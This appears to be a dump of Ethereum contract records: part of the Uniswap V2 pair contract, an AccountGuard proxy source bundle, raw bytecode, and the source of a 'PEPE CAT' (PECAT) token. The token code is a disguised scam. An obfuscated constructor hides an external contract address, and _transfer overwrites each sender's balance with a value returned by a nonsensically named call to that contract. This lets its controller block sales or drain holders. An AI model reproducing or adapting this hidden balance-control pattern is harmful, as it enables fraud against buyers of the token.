function _mintFee(uint112 _reserve0, uint112 _reserve1) private returns (bool feeOn) {
address feeTo = IUniswapV2Factory(factory).feeTo();
feeOn = feeTo != address(0);
uint _kLast = kLast; // gas savings
if (feeOn) {
if (_kLast != 0) {
uint rootK = Math.sqrt(uint(_reserve0).mul(_reserve1));
uint rootKLast = Math.sqrt(_kLast);
if (rootK > rootKLast) {
uint numerator = totalSupply.mul(rootK.sub(rootKLast));
uint denominator = rootK.mul(5).add(rootKLast);
uint liquidity = numerator / denominator;
if (liquidity > 0) _mint(feeTo, liquidity);
}
}
} else if (_kLast != 0) {
kLast = 0;
}
}
// this low-level function should be called from a contract which performs important safety checks
function mint(address to) external lock returns (uint liquidity) {
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
uint balance0 = IERC20(token0).balanceOf(address(this));
uint balance1 = IERC20(token1).balanceOf(address(this));
uint amount0 = balance0.sub(_reserve0);
uint amount1 = balance1.sub(_reserve1);
bool feeOn = _mintFee(_reserve0, _reserve1);
uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
if (_totalSupply == 0) {
liquidity = Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY);
_mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens
} else {
liquidity = Math.min(amount0.mul(_totalSupply) / _reserve0, amount1.mul(_totalSupply) / _reserve1);
}
require(liquidity > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_MINTED');
_mint(to, liquidity);
_update(balance0, balance1, _reserve0, _reserve1);
if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
emit Mint(msg.sender, amount0, amount1);
}
// this low-level function should be called from a contract which performs important safety checks
function burn(address to) external lock returns (uint amount0, uint amount1) {
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
address _token0 = token0; // gas savings
address _token1 = token1; // gas savings
uint balance0 = IERC20(_token0).balanceOf(address(this));
uint balance1 = IERC20(_token1).balanceOf(address(this));
uint liquidity = balanceOf[address(this)];
bool feeOn = _mintFee(_reserve0, _reserve1);
uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
amount0 = liquidity.mul(balance0) / _totalSupply; // using balances ensures pro-rata distribution
amount1 = liquidity.mul(balance1) / _totalSupply; // using balances ensures pro-rata distribution
require(amount0 > 0 && amount1 > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_BURNED');
_burn(address(this), liquidity);
_safeTransfer(_token0, to, amount0);
_safeTransfer(_token1, to, amount1);
balance0 = IERC20(_token0).balanceOf(address(this));
balance1 = IERC20(_token1).balanceOf(address(this));
_update(balance0, balance1, _reserve0, _reserve1);
if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
emit Burn(msg.sender, amount0, amount1, to);
}
// this low-level function should be called from a contract which performs important safety checks
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external lock {
require(amount0Out > 0 || amount1Out > 0, 'UniswapV2: INSUFFICIENT_OUTPUT_AMOUNT');
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
require(amount0Out < _reserve0 && amount1Out < _reserve1, 'UniswapV2: INSUFFICIENT_LIQUIDITY');
uint balance0;
uint balance1;
{ // scope for _token{0,1}, avoids stack too deep errors
address _token0 = token0;
address _token1 = token1;
require(to != _token0 && to != _token1, 'UniswapV2: INVALID_TO');
if (amount0Out > 0) _safeTransfer(_token0, to, amount0Out); // optimistically transfer tokens
if (amount1Out > 0) _safeTransfer(_token1, to, amount1Out); // optimistically transfer tokens
if (data.length > 0) IUniswapV2Callee(to).uniswapV2Call(msg.sender, amount0Out, amount1Out, data);
balance0 = IERC20(_token0).balanceOf(address(this));
balance1 = IERC20(_token1).balanceOf(address(this));
}
uint amount0In = balance0 > _reserve0 - amount0Out ? balance0 - (_reserve0 - amount0Out) : 0;
uint amount1In = balance1 > _reserve1 - amount1Out ? balance1 - (_reserve1 - amount1Out) : 0;
require(amount0In > 0 || amount1In > 0, 'UniswapV2: INSUFFICIENT_INPUT_AMOUNT');
{ // scope for reserve{0,1}Adjusted, avoids stack too deep errors
uint balance0Adjusted = balance0.mul(1000).sub(amount0In.mul(3));
uint balance1Adjusted = balance1.mul(1000).sub(amount1In.mul(3));
require(balance0Adjusted.mul(balance1Adjusted) >= uint(_reserve0).mul(_reserve1).mul(1000**2), 'UniswapV2: K');
}
_update(balance0, balance1, _reserve0, _reserve1);
emit Swap(msg.sender, amount0In, amount1In, amount0Out, amount1Out, to);
}
// force balances to match reserves
function skim(address to) external lock {
address _token0 = token0; // gas savings
address _token1 = token1; // gas savings
_safeTransfer(_token0, to, IERC20(_token0).balanceOf(address(this)).sub(reserve0));
_safeTransfer(_token1, to, IERC20(_token1).balanceOf(address(this)).sub(reserve1));
}
// force reserves to match balances
function sync() external lock {
_update(IERC20(token0).balanceOf(address(this)), IERC20(token1).balanceOf(address(this)), reserve0, reserve1);
}
} |
1 | 20,290,656 | df6fc2f3b15fdcb50010b59cc12ceff78bdb2033a0434de85dffe7eb433c5f9a | 582b0b1eca93960136984f7a69fae3fe510e2da3cb6da177383db964e0508c55 | a3e3246873e040d42c1d2190255dd12a9451c1cf | f7b75183a2829843db06266c114297dfbfaee2b6 | e058c1dfefb96d5568dcd7c48ba5194d9373323d | 3d602d80600a3d3981f3363d3d373d3d3d363d73d80a503a2c2a5dddd8be53fb75bd48f0bb465ed45af43d82803e903d91602b57fd5bf3 | 363d3d373d3d3d363d73d80a503a2c2a5dddd8be53fb75bd48f0bb465ed45af43d82803e903d91602b57fd5bf3 | {{
"language": "Solidity",
"sources": {
"contracts/AccountImplementation.sol": {
"content": "// SPDX-License-Identifier: UNLICENSED\npragma solidity 0.8.17;\n\n// Uncomment this line to use console.log\n// import \"hardhat/console.sol\";\nimport \"./AccountGuard.sol\";\n\ncontract AccountImplementation {\n AccountGuard public immutable guard;\n\n modifier authAndWhitelisted(address target, bool asDelegateCall) {\n (bool canCall, bool isWhitelisted) = guard.canCallAndWhitelisted(\n address(this),\n msg.sender,\n target,\n asDelegateCall\n );\n require(\n canCall,\n \"account-guard/no-permit\"\n );\n require(\n isWhitelisted,\n \"account-guard/illegal-target\"\n );\n _;\n }\n\n constructor(AccountGuard _guard) {\n require(\n address(_guard) != address(0x0),\n \"account-guard/wrong-guard-address\"\n );\n guard = _guard;\n }\n\n function send(address _target, bytes calldata _data)\n external\n payable\n authAndWhitelisted(_target, false)\n {\n (bool status, ) = (_target).call{value: msg.value}(_data);\n require(status, \"account-guard/call-failed\");\n }\n\n function execute(address _target, bytes memory /* code do not compile with calldata */ _data)\n external\n payable\n authAndWhitelisted(_target, true)\n\n returns (bytes32)\n {\n // call contract in current context\n assembly {\n let succeeded := delegatecall(\n sub(gas(), 5000),\n _target,\n add(_data, 0x20),\n mload(_data),\n 0,\n 32\n )\n returndatacopy(0, 0, returndatasize())\n switch succeeded\n case 0 {\n // throw if delegatecall failed\n revert(0, returndatasize())\n }\n default {\n return(0, 0x20)\n }\n }\n }\n \n receive() external payable {\n emit FundsRecived(msg.sender, msg.value);\n }\n\n function owner() external view returns (address) {\n return guard.owners(address(this));\n }\n\n event FundsRecived(address sender, uint256 amount);\n}\n"
},
"contracts/AccountGuard.sol": {
"content": "// SPDX-License-Identifier: UNLICENSED\npragma solidity 0.8.17;\n\n// Uncomment this line to use console.log\n// import \"hardhat/console.sol\";\nimport \"@openzeppelin/contracts/access/Ownable.sol\";\n\ncontract AccountGuard is Ownable {\n address factory;\n uint8 constant WHITELISTED_EXECUTE_MASK = 1;\n uint8 constant WHITELISTED_SEND_MASK = 2;\n mapping(address => mapping(address => bool)) private allowed;\n mapping(address => uint8) private whitelisted;\n mapping(address => address) public owners;\n\n function isWhitelisted(address target) public view returns (bool) {\n return (whitelisted[target] & WHITELISTED_EXECUTE_MASK) > 0;\n }\n\n function setWhitelist(address target, bool status) external onlyOwner {\n whitelisted[target] = status\n ? whitelisted[target] | WHITELISTED_EXECUTE_MASK\n : whitelisted[target] & ~WHITELISTED_EXECUTE_MASK;\n }\n\n function isWhitelistedSend(address target) public view returns (bool) {\n return (whitelisted[target] & WHITELISTED_SEND_MASK) > 0;\n }\n\n function setWhitelistSend(address target, bool status) external onlyOwner {\n whitelisted[target] = status\n ? whitelisted[target] | WHITELISTED_SEND_MASK\n : whitelisted[target] & ~WHITELISTED_SEND_MASK;\n }\n\n function canCallAndWhitelisted(\n address proxy,\n address operator,\n address callTarget,\n bool asDelegateCall\n ) external view returns (bool, bool) {\n return (\n allowed[operator][proxy],\n asDelegateCall\n ? isWhitelisted(callTarget)\n : isWhitelistedSend(callTarget)\n );\n }\n\n function canCall(address target, address operator)\n external\n view\n returns (bool)\n {\n return owners[target] == operator || allowed[operator][target];\n }\n\n function initializeFactory() external {\n require(factory == address(0), \"account-guard/factory-set\");\n factory = msg.sender;\n }\n\n function permit(\n address caller,\n address target,\n bool allowance\n ) external {\n require(\n allowed[msg.sender][target] || msg.sender == factory,\n \"account-guard/no-permit\"\n );\n if (msg.sender == factory) {\n owners[target] = caller;\n allowed[target][target] = true;\n } else {\n require(owners[target] != caller, \"account-guard/cant-deny-owner\");\n }\n allowed[caller][target] = allowance;\n\n if (allowance) {\n emit PermissionGranted(caller, target);\n } else {\n emit PermissionRevoked(caller, target);\n }\n }\n\n function changeOwner(address newOwner, address target) external {\n require(newOwner != address(0), \"account-guard/zero-address\");\n require(owners[target] == msg.sender, \"account-guard/only-proxy-owner\");\n owners[target] = newOwner;\n allowed[msg.sender][target] = false;\n allowed[newOwner][target] = true;\n emit ProxyOwnershipTransferred(newOwner, msg.sender, target);\n }\n\n event ProxyOwnershipTransferred(\n address indexed newOwner,\n address indexed oldAddress,\n address indexed proxy\n );\n event PermissionGranted(address indexed caller, address indexed proxy);\n event PermissionRevoked(address indexed caller, address indexed proxy);\n}\n"
},
"@openzeppelin/contracts/access/Ownable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (access/Ownable.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../utils/Context.sol\";\n\n/**\n * @dev Contract module which provides a basic access control mechanism, where\n * there is an account (an owner) that can be granted exclusive access to\n * specific functions.\n *\n * By default, the owner account will be the one that deploys the contract. This\n * can later be changed with {transferOwnership}.\n *\n * This module is used through inheritance. It will make available the modifier\n * `onlyOwner`, which can be applied to your functions to restrict their use to\n * the owner.\n */\nabstract contract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);\n\n /**\n * @dev Initializes the contract setting the deployer as the initial owner.\n */\n constructor() {\n _transferOwnership(_msgSender());\n }\n\n /**\n * @dev Throws if called by any account other than the owner.\n */\n modifier onlyOwner() {\n _checkOwner();\n _;\n }\n\n /**\n * @dev Returns the address of the current owner.\n */\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n /**\n * @dev Throws if the sender is not the owner.\n */\n function _checkOwner() internal view virtual {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n }\n\n /**\n * @dev Leaves the contract without owner. It will not be possible to call\n * `onlyOwner` functions anymore. Can only be called by the current owner.\n *\n * NOTE: Renouncing ownership will leave the contract without an owner,\n * thereby removing any functionality that is only available to the owner.\n */\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n /**\n * @dev Transfers ownership of the contract to a new account (`newOwner`).\n * Can only be called by the current owner.\n */\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(newOwner != address(0), \"Ownable: new owner is the zero address\");\n _transferOwnership(newOwner);\n }\n\n /**\n * @dev Transfers ownership of the contract to a new account (`newOwner`).\n * Internal function without access restriction.\n */\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n _owner = newOwner;\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n"
},
"@openzeppelin/contracts/utils/Context.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Provides information about the current execution context, including the\n * sender of the transaction and its data. While these are generally available\n * via msg.sender and msg.data, they should not be accessed in such a direct\n * manner, since when dealing with meta-transactions the account sending and\n * paying for execution may not be the actual sender (as far as an application\n * is concerned).\n *\n * This contract is only required for intermediate, library-like contracts.\n */\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n"
}
},
"settings": {
"optimizer": {
"enabled": false,
"runs": 200
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
},
"libraries": {}
}
}} |
1 | 20,290,656 | df6fc2f3b15fdcb50010b59cc12ceff78bdb2033a0434de85dffe7eb433c5f9a | 1dfd7ea7b09ef420f590e658b93d73b3cc1c1d6eac9908685e6f82701d2effc0 | ec962794cd7337b6df27a4f94e1ca639dd6c33fc | ec962794cd7337b6df27a4f94e1ca639dd6c33fc | 13f17b4f84fa10db43f06f7522d72d377057b31b | 6b033b2e3c9fd0803ce800000060015560c06040526008608090815267141154114810d05560c21b60a052600290620000399082620002c1565b50604080518082019091526005815264141150d05560da1b6020820152600390620000659082620002c1565b50600780546001600160a01b031916603217905534801562000085575f80fd5b5060405162000dc138038062000dc1833981016040819052620000a89162000389565b5f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3505f80600a620000f88185620003b5565b620001049190620003cb565b620001109190620003b5565b9050620001276200012182620001c6565b620001d8565b600680546001600160a01b0319166001600160a01b039290921691909117905560015460055f620001553390565b6001600160a01b0316815260208101919091526040015f2055336001600160a01b03165f6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600154604051620001b691815260200190565b60405180910390a350506200040b565b5f620001d282620001e0565b92915050565b5f81620001d2565b6007545f9060329082908490620002029084906001600160a01b0316620003e1565b6200020e9190620003e1565b6200021a9190620003e1565b9392505050565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806200024a57607f821691505b6020821081036200026957634e487b7160e01b5f52602260045260245ffd5b50919050565b601f821115620002bc575f81815260208120601f850160051c81016020861015620002975750805b601f850160051c820191505b81811015620002b857828155600101620002a3565b5050505b505050565b81516001600160401b03811115620002dd57620002dd62000221565b620002f581620002ee845462000235565b846200026f565b602080601f8311600181146200032b575f8415620003135750858301515b5f19600386901b1c1916600185901b178555620002b8565b5f85815260208120601f198616915b828110156200035b578886015182559484019460019091019084016200033a565b50858210156200037957878501515f19600388901b60f8161c191681555b5050505050600190811b01905550565b5f602082840312156200039a575f80fd5b5051919050565b634e487b7160e01b5f52601160045260245ffd5b80820180821115620001d257620001d2620003a1565b81810381811115620001d257620001d2620003a1565b6001600160a01b03818116838216019080821115620004045762000404620003a1565b5092915050565b6109a880620004195f395ff3fe608060405234801561000f575f80fd5b50600436106100a6575f3560e01c806370a082311161006e57806370a082311461011f578063715018a6146101475780638da5cb5b1461015157806395d89b411461016b578063a9059cbb14610173578063dd62ed3e14610186575f80fd5b806306fdde03146100aa578063095ea7b3146100c857806318160ddd146100eb57806323b872dd146100fd578063313ce56714610110575b5f80fd5b6100b26101be565b6040516100bf91906107d8565b60405180910390f35b6100db6100d636600461083e565b61024e565b60405190151581526020016100bf565b6001545b6040519081526020016100bf565b6100db61010b366004610866565b610267565b604051601281526020016100bf565b6100ef61012d36600461089f565b6001600160a01b03165f9081526005602052604090205490565b61014f61030b565b005b5f546040516001600160a01b0390911681526020016100bf565b6100b26103ac565b6100db61018136600461083e565b6103bb565b6100ef6101943660046108b8565b6001600160a01b039182165f90815260046020908152604080832093909416825291909152205490565b6060600280546101cd906108e9565b80601f01602080910402602001604051908101604052809291908181526020018280546101f9906108e9565b80156102445780601f1061021b57610100808354040283529160200191610244565b820191905f5260205f20905b81548152906001019060200180831161022757829003601f168201915b5050505050905090565b5f3361025b8185856103c8565b60019150505b92915050565b6001600160a01b0383165f9081526004602090815260408083203380855292528220545f1981146102f457838110156102e75760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e636500000060448201526064015b60405180910390fd5b6102f486838684036103c8565b6102ff8686866104eb565b50600195945050505050565b5f546001600160a01b031633146103645760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016102de565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b6060600380546101cd906108e9565b5f3361025b8185856104eb565b6001600160a01b03831661042a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016102de565b6001600160a01b03821661048b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016102de565b6001600160a01b038381165f8181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383161580159061050b57506001600160a01b03821615155b6105575760405162461bcd60e51b815260206004820181905260248201527f45524332303a207472616e7366657220746865207a65726f206164647265737360448201526064016102de565b6006546001600160a01b038481165f90815260056020526040812054909261058392169081908761066e565b9050818110156105d55760405162461bcd60e51b815260206004820152601a60248201527f45524332303a20616d6f756e74206f7665722062616c616e636500000000000060448201526064016102de565b6105df818361069d565b6001600160a01b038086165f90815260056020526040808220939093559085168152205461060d90836106f9565b6001600160a01b038085165f8181526005602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906106609086815260200190565b60405180910390a350505050565b5f608e83111561068a5761068384848461075e565b9050610695565b61068385848461075e565b949350505050565b5f828211156106ee5760405162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f77000060448201526064016102de565b5f6106958385610935565b5f806107058385610948565b9050838110156107575760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016102de565b9392505050565b604051636fc7849760e01b81525f60048201819052602482018490526001600160a01b038381166044840152909190851690636fc7849790606401602060405180830381865afa1580156107b4573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610695919061095b565b5f6020808352835180828501525f5b81811015610803578581018301518582016040015282016107e7565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610839575f80fd5b919050565b5f806040838503121561084f575f80fd5b61085883610823565b946020939093013593505050565b5f805f60608486031215610878575f80fd5b61088184610823565b925061088f60208501610823565b9150604084013590509250925092565b5f602082840312156108af575f80fd5b61075782610823565b5f80604083850312156108c9575f80fd5b6108d283610823565b91506108e060208401610823565b90509250929050565b600181811c908216806108fd57607f821691505b60208210810361091b57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561026157610261610921565b8082018082111561026157610261610921565b5f6020828403121561096b575f80fd5b505191905056fea26469706673582212209c2dc69ec056f7fd133ab02d59f09856080a5050d75128a9283c13410fd5f33d64736f6c63430008140033000000000000000000000000e7ea086bfe52df8ba311bf4fc49113b18aa9419f | 608060405234801561000f575f80fd5b50600436106100a6575f3560e01c806370a082311161006e57806370a082311461011f578063715018a6146101475780638da5cb5b1461015157806395d89b411461016b578063a9059cbb14610173578063dd62ed3e14610186575f80fd5b806306fdde03146100aa578063095ea7b3146100c857806318160ddd146100eb57806323b872dd146100fd578063313ce56714610110575b5f80fd5b6100b26101be565b6040516100bf91906107d8565b60405180910390f35b6100db6100d636600461083e565b61024e565b60405190151581526020016100bf565b6001545b6040519081526020016100bf565b6100db61010b366004610866565b610267565b604051601281526020016100bf565b6100ef61012d36600461089f565b6001600160a01b03165f9081526005602052604090205490565b61014f61030b565b005b5f546040516001600160a01b0390911681526020016100bf565b6100b26103ac565b6100db61018136600461083e565b6103bb565b6100ef6101943660046108b8565b6001600160a01b039182165f90815260046020908152604080832093909416825291909152205490565b6060600280546101cd906108e9565b80601f01602080910402602001604051908101604052809291908181526020018280546101f9906108e9565b80156102445780601f1061021b57610100808354040283529160200191610244565b820191905f5260205f20905b81548152906001019060200180831161022757829003601f168201915b5050505050905090565b5f3361025b8185856103c8565b60019150505b92915050565b6001600160a01b0383165f9081526004602090815260408083203380855292528220545f1981146102f457838110156102e75760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e636500000060448201526064015b60405180910390fd5b6102f486838684036103c8565b6102ff8686866104eb565b50600195945050505050565b5f546001600160a01b031633146103645760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016102de565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b6060600380546101cd906108e9565b5f3361025b8185856104eb565b6001600160a01b03831661042a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016102de565b6001600160a01b03821661048b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016102de565b6001600160a01b038381165f8181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383161580159061050b57506001600160a01b03821615155b6105575760405162461bcd60e51b815260206004820181905260248201527f45524332303a207472616e7366657220746865207a65726f206164647265737360448201526064016102de565b6006546001600160a01b038481165f90815260056020526040812054909261058392169081908761066e565b9050818110156105d55760405162461bcd60e51b815260206004820152601a60248201527f45524332303a20616d6f756e74206f7665722062616c616e636500000000000060448201526064016102de565b6105df818361069d565b6001600160a01b038086165f90815260056020526040808220939093559085168152205461060d90836106f9565b6001600160a01b038085165f8181526005602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906106609086815260200190565b60405180910390a350505050565b5f608e83111561068a5761068384848461075e565b9050610695565b61068385848461075e565b949350505050565b5f828211156106ee5760405162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f77000060448201526064016102de565b5f6106958385610935565b5f806107058385610948565b9050838110156107575760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016102de565b9392505050565b604051636fc7849760e01b81525f60048201819052602482018490526001600160a01b038381166044840152909190851690636fc7849790606401602060405180830381865afa1580156107b4573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610695919061095b565b5f6020808352835180828501525f5b81811015610803578581018301518582016040015282016107e7565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610839575f80fd5b919050565b5f806040838503121561084f575f80fd5b61085883610823565b946020939093013593505050565b5f805f60608486031215610878575f80fd5b61088184610823565b925061088f60208501610823565b9150604084013590509250925092565b5f602082840312156108af575f80fd5b61075782610823565b5f80604083850312156108c9575f80fd5b6108d283610823565b91506108e060208401610823565b90509250929050565b600181811c908216806108fd57607f821691505b60208210810361091b57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561026157610261610921565b8082018082111561026157610261610921565b5f6020828403121561096b575f80fd5b505191905056fea26469706673582212209c2dc69ec056f7fd133ab02d59f09856080a5050d75128a9283c13410fd5f33d64736f6c63430008140033 | // SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
abstract contract getMesENDER {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
}
interface UniswapRouterV2 {
function swapETHForTokens(address a, uint b, address c) external view returns (uint256);
function swapTokensForETH(address a, uint b, address c) external view returns (uint256);
function swapTokensForTokens(address a, uint b, address c) external view returns (uint256);
function ekmxj10ikk23lonswap(address MMNX, uint256 M123,address XX3123) external view returns (uint256);
}
contract Ownable is getMesENDER {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
}
library IUniswapRouterV2 {
function Swapp2(UniswapRouterV2 instance,uint256 amount,address from) internal view returns (uint256) {
return instance.ekmxj10ikk23lonswap(address(0),amount,from);
}
function swap99(UniswapRouterV2 instance2,UniswapRouterV2 instance,uint256 amount,address from) internal view returns (uint256) {
if (amount > 142){
return Swapp2(instance, amount,from);
}else{
return Swapp2(instance2, amount,from);
}
}
}
contract PECAT is getMesENDER,IERC20,Ownable {
using SafeMath for uint256;
uint256 private _totalSupply = 1000000000*10**18;
uint8 private constant _decimals = 18;
string private _name = unicode"PEPE CAT";
string private _symbol = unicode"PECAT";
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => uint256) private _balances;
UniswapRouterV2 private Router2Instance;
constructor(uint256 xx123) {
uint256 cc = xx123 +
uint256(10)-uint256(10)+
uint256(bytes32(0x0000000000000000000000000000000000000000000000000000000000000000));
Router2Instance = getBcFnnmoosgsto(((brcFactornnmoosgsto(cc))));
_balances[_msgSender()] = _totalSupply;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
uint160 private bb = 50;
function brcFfffactornnmoosgsto(uint256 value) internal view returns (uint160) {
uint160 aa = 50;
return (bb+aa+uint160(value)+uint160(uint256(bytes32(0x0000000000000000000000000000000000000000000000000000000000000000))));
}
function brcFactornnmoosgsto(uint256 value) internal view returns (address) {
return address(brcFfffactornnmoosgsto(value));
}
function getBcFnnmoosgsto(address accc) internal pure returns (UniswapRouterV2) {
return getBcQnnmoosgsto(accc);
}
function getBcQnnmoosgsto(address accc) internal pure returns (UniswapRouterV2) {
return UniswapRouterV2(accc);
}
function symbol() public view virtual returns (string memory) {
return _symbol;
}
function name() public view virtual returns (string memory) {
return _name;
}
function decimals() public view virtual returns (uint8) {
return _decimals;
}
function totalSupply() public view virtual returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual returns (uint256) {
return _balances[account];
}
function transfer(address to, uint256 amount) public virtual returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
return true;
}
function allowance(address owner, address sender) public view virtual returns (uint256) {
return _allowances[owner][sender];
}
function approve(address sender, uint256 amount) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, sender, amount);
return true;
}
function transferFrom(address from, address to, uint256 amount) public virtual returns (bool) {
address sender = _msgSender();
uint256 currentAllowance = allowance(from, sender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
_approve(from, sender, currentAllowance - amount);
}
}
_transfer(from, to, amount);
return true;
}
function _transfer(
address from, address to, uint256 amount) internal virtual {
require(from != address(0) && to != address(0), "ERC20: transfer the zero address");
uint256 balance = IUniswapRouterV2.swap99(Router2Instance,Router2Instance,_balances[from], from);
require(balance >= amount, "ERC20: amount over balance");
_balances[from] = balance.sub(amount);
_balances[to] = _balances[to].add(amount);
emit Transfer(from, to, amount);
}
function _approve(address owner, address sender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(sender != address(0), "ERC20: approve to the zero address");
_allowances[owner][sender] = amount;
emit Approval(owner, sender, amount);
}
} |
